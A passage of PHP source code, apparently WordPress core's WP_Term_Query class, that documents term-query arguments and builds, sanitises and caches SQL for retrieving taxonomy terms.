empty. * * @type string|array $taxonomy Taxonomy name, or array of taxonomies, to which results should * be limited. * @type string $orderby Field(s) to order terms by. Accepts term fields ('name', * 'slug', 'term_group', 'term_id', 'id', 'description'), * 'count' for term taxonomy count, 'include' to match the * 'order' of the $include param, 'meta_value', 'meta_value_num', * the value of `$meta_key`, the array keys of `$meta_query`, or * 'none' to omit the ORDER BY clause. Defaults to 'name'. * @type string $order Whether to order terms in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). * Default 'ASC'. * @type bool|int $hide_empty Whether to hide terms not assigned to any posts. Accepts * 1|true or 0|false. Default 1|true. * @type array|string $include Array or comma/space-separated string of term ids to include. * Default empty array. * @type array|string $exclude Array or comma/space-separated string of term ids to exclude. * If $include is non-empty, $exclude is ignored. * Default empty array. * @type array|string $exclude_tree Array or comma/space-separated string of term ids to exclude * along with all of their descendant terms. If $include is * non-empty, $exclude_tree is ignored. Default empty array. * @type int|string $number Maximum number of terms to return. Accepts ''|0 (all) or any * positive number. Default ''|0 (all). * @type int $offset The number by which to offset the terms query. Default empty. * @type string $fields Term fields to query for. Accepts 'all' (returns an array of * complete term objects), 'ids' (returns an array of ids), * 'id=>parent' (returns an associative array with ids as keys, * parent term IDs as values), 'names' (returns an array of term * names), 'count' (returns the number of matching terms), * 'id=>name' (returns an associative array with ids as keys, * term names as values), or 'id=>slug' (returns an associative * array with ids as keys, term slugs as values). Default 'all'. * @type bool $count Whether to return a term count (true) or array of term objects * (false). Will take precedence over `$fields` if true. * Default false. * @type string|array $name Optional. Name or array of names to return term(s) for. * Default empty. * @type string|array $slug Optional. Slug or array of slugs to return term(s) for. * Default empty. * @type int|array $term_taxonomy_id Optional. Term taxonomy ID, or array of term taxonomy IDs, * to match when querying terms. * @type bool $hierarchical Whether to include terms that have non-empty descendants (even * if $hide_empty is set to true). Default true. * @type string $search Search criteria to match terms. Will be SQL-formatted with * wildcards before and after. Default empty. * @type string $name__like Retrieve terms with criteria by which a term is LIKE * `$name__like`. Default empty. * @type string $description__like Retrieve terms where the description is LIKE * `$description__like`. Default empty. * @type bool $pad_counts Whether to pad the quantity of a term's children in the * quantity of each term's "count" object variable. * Default false. * @type string $get Whether to return terms regardless of ancestry or whether the * terms are empty. Accepts 'all' or empty (disabled). * Default empty. * @type int $child_of Term ID to retrieve child terms of. If multiple taxonomies * are passed, $child_of is ignored. Default 0. * @type int|string $parent Parent term ID to retrieve direct-child terms of. * Default empty. * @type bool $childless True to limit results to terms that have no children. * This parameter has no effect on non-hierarchical taxonomies. * Default false. * @type string $cache_domain Unique cache key to be produced when this query is stored in * an object cache. Default is 'core'. * @type bool $update_term_meta_cache Whether to prime meta caches for matched terms. Default true. * @type array $meta_query Optional. Meta query clauses to limit retrieved terms by. * See `WP_Meta_Query`. Default empty. * @type string $meta_key Limit terms to those matching a specific metadata key. * Can be used in conjunction with `$meta_value`. * @type string $meta_value Limit terms to those matching a specific metadata value. * Usually used in conjunction with `$meta_key`. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'taxonomy' => null, 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => true, 'include' => array(), 'exclude' => array(), 'exclude_tree' => array(), 'number' => '', 'offset' => '', 'fields' => 'all', 'count' => false, 'name' => '', 'slug' => '', 'term_taxonomy_id' => '', 'hierarchical' => true, 'search' => '', 'name__like' => '', 'description__like' => '', 'pad_counts' => false, 'get' => '', 'child_of' => 0, 'parent' => '', 'childless' => false, 'cache_domain' => 'core', 'update_term_meta_cache' => true, 'meta_query' => '', ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parse arguments passed to the term query with default query parameters. * * @since 4.6.0 * @access public * * @param string|array $query WP_Term_Query arguments. See WP_Term_Query::__construct() */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $taxonomies = isset( $query['taxonomy'] ) ? (array) $query['taxonomy'] : null; /** * Filters the terms query default arguments. * * Use {@see 'get_terms_args'} to filter the passed arguments. * * @since 4.4.0 * * @param array $defaults An array of default get_terms() arguments. * @param array $taxonomies An array of taxonomies. */ $this->query_var_defaults = apply_filters( 'get_terms_defaults', $this->query_var_defaults, $taxonomies ); $query = wp_parse_args( $query, $this->query_var_defaults ); $query['number'] = absint( $query['number'] ); $query['offset'] = absint( $query['offset'] ); // 'parent' overrides 'child_of'. if ( 0 < intval( $query['parent'] ) ) { $query['child_of'] = false; } if ( 'all' == $query['get'] ) { $query['childless'] = false; $query['child_of'] = 0; $query['hide_empty'] = 0; $query['hierarchical'] = false; $query['pad_counts'] = false; } $query['taxonomy'] = $taxonomies; /** * Filters the terms query arguments. * * @since 3.1.0 * * @param array $args An array of get_terms() arguments. * @param array $taxonomies An array of taxonomies. */ $this->query_vars = apply_filters( 'get_terms_args', $query, $taxonomies ); /** * Fires after term query vars have been parsed. * * @since 4.6.0 * * @param WP_Term_Query $this Current instance of WP_Term_Query. */ do_action( 'parse_term_query', $this ); } /** * Sets up the query for retrieving terms. * * @since 4.6.0 * @access public * * @param string|array $query Array or URL query string of parameters. * @return array|int List of terms, or number of terms when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_terms(); } /** * Get terms, based on query_vars. * * @param 4.6.0 * @access public * * @global wpdb $wpdb WordPress database abstraction object. * * @return array */ public function get_terms() { global $wpdb; $this->parse_query( $this->query_vars ); $args = $this->query_vars; // Set up meta_query so it's available to 'pre_get_terms'. $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $args ); /** * Fires before terms are retrieved. * * @since 4.6.0 * * @param WP_Term_Query $this Current instance of WP_Term_Query. */ do_action( 'pre_get_terms', $this ); $taxonomies = $args['taxonomy']; // Save queries by not crawling the tree in the case of multiple taxes or a flat tax. $has_hierarchical_tax = false; if ( $taxonomies ) { foreach ( $taxonomies as $_tax ) { if ( is_taxonomy_hierarchical( $_tax ) ) { $has_hierarchical_tax = true; } } } if ( ! $has_hierarchical_tax ) { $args['hierarchical'] = false; $args['pad_counts'] = false; } // 'parent' overrides 'child_of'. if ( 0 < intval( $args['parent'] ) ) { $args['child_of'] = false; } if ( 'all' == $args['get'] ) { $args['childless'] = false; $args['child_of'] = 0; $args['hide_empty'] = 0; $args['hierarchical'] = false; $args['pad_counts'] = false; } /** * Filters the terms query arguments. * * @since 3.1.0 * * @param array $args An array of get_terms() arguments. * @param array $taxonomies An array of taxonomies. */ $args = apply_filters( 'get_terms_args', $args, $taxonomies ); // Avoid the query if the queried parent/child_of term has no descendants. $child_of = $args['child_of']; $parent = $args['parent']; if ( $child_of ) { $_parent = $child_of; } elseif ( $parent ) { $_parent = $parent; } else { $_parent = false; } if ( $_parent ) { $in_hierarchy = false; foreach ( $taxonomies as $_tax ) { $hierarchy = _get_term_hierarchy( $_tax ); if ( isset( $hierarchy[ $_parent ] ) ) { $in_hierarchy = true; } } if ( ! $in_hierarchy ) { return array(); } } $orderby = $this->parse_orderby( $this->query_vars['orderby'] ); if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $order = $this->parse_order( $this->query_vars['order'] ); if ( $taxonomies ) { $this->sql_clauses['where']['taxonomy'] = "tt.taxonomy IN ('" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "')"; } $exclude = $args['exclude']; $exclude_tree = $args['exclude_tree']; $include = $args['include']; $inclusions = ''; if ( ! empty( $include ) ) { $exclude = ''; $exclude_tree = ''; $inclusions = implode( ',', wp_parse_id_list( $include ) ); } if ( ! empty( $inclusions ) ) { $this->sql_clauses['where']['inclusions'] = 't.term_id IN ( ' . $inclusions . ' )'; } $exclusions = array(); if ( ! empty( $exclude_tree ) ) { $exclude_tree = wp_parse_id_list( $exclude_tree ); $excluded_children = $exclude_tree; foreach ( $exclude_tree as $extrunk ) { $excluded_children = array_merge( $excluded_children, (array) get_terms( $taxonomies[0], array( 'child_of' => intval( $extrunk ), 'fields' => 'ids', 'hide_empty' => 0 ) ) ); } $exclusions = array_merge( $excluded_children, $exclusions ); } if ( ! empty( $exclude ) ) { $exclusions = array_merge( wp_parse_id_list( $exclude ), $exclusions ); } // 'childless' terms are those without an entry in the flattened term hierarchy. $childless = (bool) $args['childless']; if ( $childless ) { foreach ( $taxonomies as $_tax ) { $term_hierarchy = _get_term_hierarchy( $_tax ); $exclusions = array_merge( array_keys( $term_hierarchy ), $exclusions ); } } if ( ! empty( $exclusions ) ) { $exclusions = 't.term_id NOT IN (' . implode( ',', array_map( 'intval', $exclusions ) ) . ')'; } else { $exclusions = ''; } /** * Filters the terms to exclude from the terms query. * * @since 2.3.0 * * @param string $exclusions `NOT IN` clause of the terms query. * @param array $args An array of terms query arguments. * @param array $taxonomies An array of taxonomies. */ $exclusions = apply_filters( 'list_terms_exclusions', $exclusions, $args, $taxonomies ); if ( ! empty( $exclusions ) ) { // Must do string manipulation here for backward compatibility with filter. $this->sql_clauses['where']['exclusions'] = preg_replace( '/^\s*AND\s*/', '', $exclusions ); } if ( ! empty( $args['name'] ) ) { $names = (array) $args['name']; foreach ( $names as &$_name ) { // `sanitize_term_field()` returns slashed data. $_name = stripslashes( sanitize_term_field( 'name', $_name, 0, reset( $taxonomies ), 'db' ) ); } $this->sql_clauses['where']['name'] = "t.name IN ('" . implode( "', '", array_map( 'esc_sql', $names ) ) . "')"; } if ( ! empty( $args['slug'] ) ) { if ( is_array( $args['slug'] ) ) { $slug = array_map( 'sanitize_title', $args['slug'] ); $this->sql_clauses['where']['slug'] = "t.slug IN ('" . implode( "', '", $slug ) . "')"; } else { $slug = sanitize_title( $args['slug'] ); $this->sql_clauses['where']['slug'] = "t.slug = '$slug'"; } } if ( ! empty( $args['term_taxonomy_id'] ) ) { if ( is_array( $args['term_taxonomy_id'] ) ) { $tt_ids = implode( ',', array_map( 'intval', $args['term_taxonomy_id'] ) ); $this->sql_clauses['where']['term_taxonomy_id'] = "tt.term_taxonomy_id IN ({$tt_ids})"; } else { $this->sql_clauses['where']['term_taxonomy_id'] = $wpdb->prepare( "tt.term_taxonomy_id = %d", $args['term_taxonomy_id'] ); } } if ( ! empty( $args['name__like'] ) ) { $this->sql_clauses['where']['name__like'] = $wpdb->prepare( "t.name LIKE %s", '%' . $wpdb->esc_like( $args['name__like'] ) . '%' ); } if ( ! empty( $args['description__like'] ) ) { $this->sql_clauses['where']['description__like'] = $wpdb->prepare( "tt.description LIKE %s", '%' . $wpdb->esc_like( $args['description__like'] ) . '%' ); } if ( '' !== $parent ) { $parent = (int) $parent; $this->sql_clauses['where']['parent'] = "tt.parent = '$parent'"; } $hierarchical = $args['hierarchical']; if ( 'count' == $args['fields'] ) { $hierarchical = false; } if ( $args['hide_empty'] && !$hierarchical ) { $this->sql_clauses['where']['count'] = 'tt.count > 0'; } $number = $args['number']; $offset = $args['offset']; // Don't limit the query results when we have to descend the family tree. if ( $number && ! $hierarchical && ! $child_of && '' === $parent ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . $number; } } else { $limits = ''; } if ( ! empty( $args['search'] ) ) { $this->sql_clauses['where']['search'] = $this->get_search_sql( $args['search'] ); } // Meta query support. $join = ''; $distinct = ''; // Reparse meta_query query_vars, in case they were modified in a 'pre_get_terms' callback. $this->meta_query->parse_query_vars( $this->query_vars ); $mq_sql = $this->meta_query->get_sql( 'term', 't', 'term_id' ); $meta_clauses = $this->meta_query->get_clauses(); if ( ! empty( $meta_clauses ) ) { $join .= $mq_sql['join']; $this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $mq_sql['where'] ); $distinct .= "DISTINCT"; } $selects = array(); switch ( $args['fields'] ) { case 'all': $selects = array( 't.*', 'tt.*' ); break; case 'ids': case 'id=>parent': $selects = array( 't.term_id', 'tt.parent', 'tt.count', 'tt.taxonomy' ); break; case 'names': $selects = array( 't.term_id', 'tt.parent', 'tt.count', 't.name', 'tt.taxonomy' ); break; case 'count': $orderby = ''; $order = ''; $selects = array( 'COUNT(*)' ); break; case 'id=>name': $selects = array( 't.term_id', 't.name', 'tt.count', 'tt.taxonomy' ); break; case 'id=>slug': $selects = array( 't.term_id', 't.slug', 'tt.count', 'tt.taxonomy' ); break; } $_fields = $args['fields']; /** * Filters the fields to select in the terms query. * * Field lists modified using this filter will only modify the term fields returned * by the function when the `$fields` parameter set to 'count' or 'all'. In all other * cases, the term fields in the results array will be determined by the `$fields` * parameter alone. * * Use of this filter can result in unpredictable behavior, and is not recommended. * * @since 2.8.0 * * @param array $selects An array of fields to select for the terms query. * @param array $args An array of term query arguments. * @param array $taxonomies An array of taxonomies. */ $fields = implode( ', ', apply_filters( 'get_terms_fields', $selects, $args, $taxonomies ) ); $join .= " INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id"; $where = implode( ' AND ', $this->sql_clauses['where'] ); $pieces = array( 'fields', 'join', 'where', 'distinct', 'orderby', 'order', 'limits' ); /** * Filters the terms query SQL clauses. * * @since 3.1.0 * * @param array $pieces Terms query SQL clauses. * @param array $taxonomies An array of taxonomies. * @param array $args An array of terms query arguments. */ $clauses = apply_filters( 'terms_clauses', compact( $pieces ), $taxonomies, $args ); $fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : ''; $join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : ''; $where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : ''; $distinct = isset( $clauses[ 'distinct' ] ) ? $clauses[ 'distinct' ] : ''; $orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : ''; $order = isset( $clauses[ 'order' ] ) ? $clauses[ 'order' ] : ''; $limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : ''; if ( $where ) { $where = "WHERE $where"; } $this->sql_clauses['select'] = "SELECT $distinct $fields"; $this->sql_clauses['from'] = "FROM $wpdb->terms AS t $join"; $this->sql_clauses['orderby'] = $orderby ? "$orderby $order" : ''; $this->sql_clauses['limits'] = $limits; $this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}"; // $args can be anything. Only use the args defined in defaults to compute the key. $key = md5( serialize( wp_array_slice_assoc( $args, array_keys( $this->query_var_defaults ) ) ) . serialize( $taxonomies ) . $this->request ); $last_changed = wp_cache_get( 'last_changed', 'terms' ); if ( ! $last_changed ) { $last_changed = microtime(); wp_cache_set( 'last_changed', $last_changed, 'terms' ); } $cache_key = "get_terms:$key:$last_changed"; $cache = wp_cache_get( $cache_key, 'terms' ); if ( false !== $cache ) { if ( 'all' === $_fields ) { $cache = array_map( 'get_term', $cache ); } $this->terms = $cache; return $this->terms; } if ( 'count' == $_fields ) { return $wpdb->get_var( $this->request ); } $terms = $wpdb->get_results( $this->request ); if ( 'all' == $_fields ) { update_term_cache( $terms ); } // Prime termmeta cache. if ( $args['update_term_meta_cache'] ) { $term_ids = wp_list_pluck( $terms, 'term_id' ); update_termmeta_cache( $term_ids ); } if ( empty( $terms ) ) { wp_cache_add( $cache_key, array(), 'terms', DAY_IN_SECONDS ); return array(); } if ( $child_of ) { foreach ( $taxonomies as $_tax ) { $children = _get_term_hierarchy( $_tax ); if ( ! empty( $children ) ) { $terms = _get_term_children( $child_of, $terms, $_tax ); } } } // Update term counts to include children. if ( $args['pad_counts'] && 'all' == $_fields ) { foreach ( $taxonomies as $_tax ) { _pad_term_counts( $terms, $_tax ); } } // Make sure we show empty categories that have children. if ( $hierarchical && $args['hide_empty'] && is_array( $terms ) ) { foreach ( $terms as $k => $term ) { if ( ! $term->count ) { $children = get_term_children( $term->term_id, $term->taxonomy ); if ( is_array( $children ) ) { foreach ( $children as $child_id ) { $child = get_term( $child_id, $term->taxonomy ); if ( $child->count ) { continue 2; } } } // It really is empty. unset( $terms[ $k ] ); } } } $_terms = array(); if ( 'id=>parent' == $_fields ) { foreach ( $terms as $term ) { $_terms[ $term->term_id ] = $term->parent; } } elseif ( 'ids' == $_fields ) { foreach ( $terms as $term ) { $_terms[] = $term->term_id; } } elseif ( 'names' == $_fields ) { foreach ( $terms as $term ) { $_terms[] = $term->name; } } elseif ( 'id=>name' == $_fields ) { foreach ( $terms as $term ) { $_terms[ $term->term_id ] = $term->name; } } elseif ( 'id=>slug' == $_fields ) { foreach ( $terms as $term ) { $_terms[ $term->term_id ] = $term->slug; } } if ( ! empty( $_terms ) ) { $terms = $_terms; } // Hierarchical queries are not limited, so 'offset' and 'number' must be handled now. if ( $hierarchical && $number && is_array( $terms ) ) { if ( $offset >= count( $terms ) ) { $terms = array(); } else { $terms = array_slice( $terms, $offset, $number, true ); } } wp_cache_add( $cache_key, $terms, 'terms', DAY_IN_SECONDS ); if ( 'all' === $_fields ) { $terms = array_map( 'get_term', $terms ); } $this->terms = $terms; return $this->terms; } /** * Parse and sanitize 'orderby' keys passed to the term query. * * @since 4.6.0 * @access protected * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby_raw Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby_raw ) { $_orderby = strtolower( $orderby_raw ); $maybe_orderby_meta = false; if ( 'count' == $_orderby ) { $orderby = 'tt.count'; } elseif ( 'name' == $_orderby ) { $orderby = 't.name'; } elseif ( 'slug' == $_orderby ) { $orderby = 't.slug'; } elseif ( 'include' == $_orderby && ! empty( $this->query_vars['include'] ) ) { $include = implode( ',', array_map( 'absint', $this->query_vars['include'] ) ); $orderby = "FIELD( t.term_id, $include )"; } elseif ( 'term_group' == $_orderby ) { $orderby = 't.term_group'; } elseif ( 'description' == $_orderby ) { $orderby = 'tt.description'; } elseif ( 'none' == $_orderby ) { $orderby = ''; } elseif ( empty( $_orderby ) || 'id' == $_orderby || 'term_id' === $_orderby ) { $orderby = 't.term_id'; } else { $orderby = 't.name'; // This may be a value of orderby related to meta. $maybe_orderby_meta = true; } /** * Filters the ORDERBY clause of the terms query. * * @since 2.8.0 * * @param string $orderby `ORDERBY` clause of the terms query. * @param array $args An array of terms query arguments. * @param array $taxonomies An array of taxonomies. */ $orderby = apply_filters( 'get_terms_orderby', $orderby, $this->query_vars, $this->query_vars['taxonomy'] ); // Run after the 'get_terms_orderby' filter for backward compatibility. if ( $maybe_orderby_meta ) { $maybe_orderby_meta = $this->parse_orderby_meta( $_orderby ); if ( $maybe_orderby_meta ) { $orderby = $maybe_orderby_meta; } } return $orderby; } /** * Generate the ORDER BY clause for an 'orderby' param that is potentially related to a meta query. * * @since 4.6.0 * @access public * * @param string $orderby_raw Raw 'orderby' value passed to WP_Term_Query. * @return string */ protected function parse_orderby_meta( $orderby_raw ) { $orderby = ''; // Tell the meta query to generate its SQL, so we have access to table aliases. $this->meta_query->get_sql( 'term', 't', 'term_id' ); $meta_clauses = $this->meta_query->get_clauses(); if ( ! $meta_clauses || ! $orderby_raw ) { return $orderby; } $allowed_keys = array(); $primary_meta_key = null; $primary_meta_query = reset( $meta_clauses ); if ( ! empty( $primary_meta_query['key'] ) ) { $primary_meta_key = $primary_meta_query['key']; $allowed_keys[] = $primary_meta_key; } $allowed_keys[] = 'meta_value'; $allowed_keys[] = 'meta_value_num'; $allowed_keys = array_merge( $allowed_keys, array_keys( $meta_clauses ) ); if ( ! in_array( $orderby_raw, $allowed_keys, true ) ) { return $orderby; } switch( $orderby_raw ) { case $primary_meta_key: case 'meta_value': if ( ! empty( $primary_meta_query['type'] ) ) { $orderby = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})"; } else { $orderby = "{$primary_meta_query['alias']}.meta_value"; } break; case 'meta_value_num': $orderby = "{$primary_meta_query['alias']}.meta_value+0"; break; default: if ( array_key_exists( $orderby_raw, $meta_clauses ) ) { // $orderby corresponds to a meta_query clause. $meta_clause = $meta_clauses[ $orderby_raw ]; $orderby = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})"; } break; } return $orderby; } /** * Parse an 'order' query variable and cast it to ASC or DESC as necessary. * * @since 4.6.0 * @access protected * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'DESC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } /** * Used internally to generate a SQL string related to the 'search' parameter. * * @since 4.6.0 * @access protected * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $string * @return string */ protected function get_search_sql( $string ) { global $wpdb; $like = '%' . $wpdb->esc_like( $string ) . '%'; return $wpdb->prepare( '((t.name LIKE %s) OR (t.slug LIKE %s))', $like, $like ); } }